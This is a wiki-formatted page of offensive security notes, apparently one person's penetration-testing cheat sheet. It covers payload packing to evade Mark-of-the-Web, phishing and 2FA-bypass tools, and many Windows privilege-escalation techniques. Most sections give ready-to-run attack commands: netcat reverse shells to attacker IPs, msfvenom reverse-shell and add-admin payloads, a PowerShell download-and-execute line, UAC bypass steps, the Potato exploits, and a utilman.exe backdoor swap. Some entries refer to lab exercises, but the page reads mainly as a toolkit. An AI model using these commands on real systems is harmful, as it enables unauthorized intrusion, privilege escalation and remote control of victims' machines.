&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
